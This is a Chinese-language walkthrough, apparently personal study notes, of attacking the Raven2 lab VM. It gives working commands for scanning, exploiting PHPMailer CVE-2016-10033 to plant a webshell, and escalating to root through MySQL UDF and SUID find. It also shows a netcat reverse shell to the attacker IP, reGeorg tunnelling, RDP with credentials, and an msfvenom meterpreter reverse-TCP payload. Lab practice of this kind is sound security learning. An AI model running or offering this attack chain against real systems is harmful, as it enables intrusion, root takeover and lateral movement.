提权
如何提权?–>对linux,对windows下载systeminfo文件,mysql提权
Windows提权
MySQL
udf提权
udf = ‘user defined function’,用户自定义函数。通过添加新函数对MySQL的功能进行扩充
内核提权
缓冲区溢出
烂土豆
Linux提权
脏牛提权
Raven2
获取root权限
要求使用反弹shell结合udf提权,整个过程尽量在攻击者主机操作
内网部署一台web主机,实现正向代理直接访问内网主机,使用hydra爆破内网主机弱口令再使用3389登录上去,搭建网卡的操作可以直接在raven2虚拟机上操作
信息收集
扫描 raven 的IP,初步确定为 192.168.142.148
nmap -sP 192.168.142.1/24 |

访问192.168.142.148确定为目标主机

扫描开放的端口,开放端口为22、80、111
nmap -sV 192.168.142.148 |

111 端口开放了 rpcbind 服务,查看枚举所有注册的 RPC 服务
rpcinfo -p 192.168.142.148 |

进行目录扫描,扫描到了 wordpress 目录和 vendor 目录
dirb http://192.168.142.148 |

扫描wordpress存在的用户

访问链接查看是否存在敏感信息

查看VERSION文件发现phpmailer的版本为5.2.16

拿下控制权
正好有个漏洞 CVE-2016-10033 ,影响 5.2.18 之前版本的phpmailer
接着去https://www.exploit-db.com/网站搜索这个漏洞的exp

接着去kali主机查看是否有exp利用文件
searchsploit 40974 |

发现有这个文件,先复制到桌面方便使用
cp /usr/share/exploitdb/exploits/php/webapps/40974.py ~/Desktop/40974.py |

接下来修改exp中的内容为需要攻击的对象
target 字段是设置攻击目标,通常是一个包含联系表单的页面
backdoor 后门路径攻,击成功后在目标服务器上创建的Webshell 文件的访问路径
payload 字段中修改反弹 shell 的 ip 和端口号
fields 字段 email 的访问后门文件的路径
apache 2 的默认路径为/var/www/html


修改完成后启动脚本,成功

访问houmen文件测试连接
url = 192.168.142.148/houmen.php |

获得一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")' |

在 /var/www/html/wordpress 路径下查看wordpress的配置文件 wp-config.php ,发现数据库的账号密码

提权
登录 mysql 的 root 账户,开始尝试使用 udf 提权
mysql -uroot -pR@v3nSecurity |

首先查看数据的写权限
show global variables like '%secure%'; |

查看MySQL的版本
select version(); |

数据库版本高于5.1,所以文件需要放在lib\plugin目录下才能生效
show global variables like '%plugin%'; |

搜索MySQL进行udf提权的exp,靶场系统是linux,并且MySQL版本为5.5,这里选择 1518.c 文件作为exp
searchsploit mysql udf |

复制
cp /usr/share/exploitdb/exploits/linux/local/1518.c ~/Desktop/1518.c |
使用 gcc 进行编译
gcc -g -c 1518.c |
接下来需要将刚刚生成的文件上传到靶机的 /tmp 目录下,Web用户没有对 /usr/lib/mysql/plugin/ 路径的写权限,需要先上传到 /tmp 或其他具有写权限的目录下
python -m http.server 9090 # kali主机启动一个http服务 |
在mysql数据库下创建表 udf
create table udf(line blob); |
将刚刚下载的1518.so文件插入到数据库中
insert into udf values(load_file('/tmp/1518.so')); |

接着将数据导出到 /usr/lib/mysql/plugin/ 路径下
select * from udf into dumpfile '/usr/lib/mysql/plugin/1518.so'; |

创建自定义函数 do_system,函数类型为integer,别名(soname)文件名字
create function do_system returns integer soname '1518.so'; |
调用刚刚创建的do_system函数来给find命令所有者的suid权限,使其可以执行root命令
select do_system('chmod u+s /usr/bin/find'); |

使用 find 执行 SUID 提权
touch udf |

成功变成root用户
方法二反弹shell实现提权
在之前的反弹shell中数据库输入
select do_system('nc -nv 192.168.142.132 6677 -e /bin/bash'); |
kali主机进行监听
nc -lvvp 6677 |

内网渗透
进行内网渗透,这里先修改root的密码为1234.com(好像没什么用)

启动raven2的第二张网卡(模拟内网渗透环境)
echo "auto eth1" >> /etc/network/interfaces # 设置网卡 eth1 为自启动 |
正向代理
上传 reGeorg 的 tunnel.nosocket.php 文件
python -m http.server 9090 # kali主机启动一个http服务 |
使用 kali 主机 python 启动 socks 服务
python2 reGeorgSocksProxy.py -p 1080 -u http://192.168.142.148/tunnel.nosocket.php |
进行远程连接
proxychains xfreerdp /u:administrator /p:1234@qbz /v:192.168.247.129 |

反向代理
尝试使用 msfvenom 生成反向TCP载荷进行反向代理
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.142.132 LPORT=1234 -f elf -o shell.elf |
将生成的文件上传到服务器中
python -m http.server 9090 # kali主机启动一个http服务 |
kali主机,使用msfconsole监听
msfconsole |

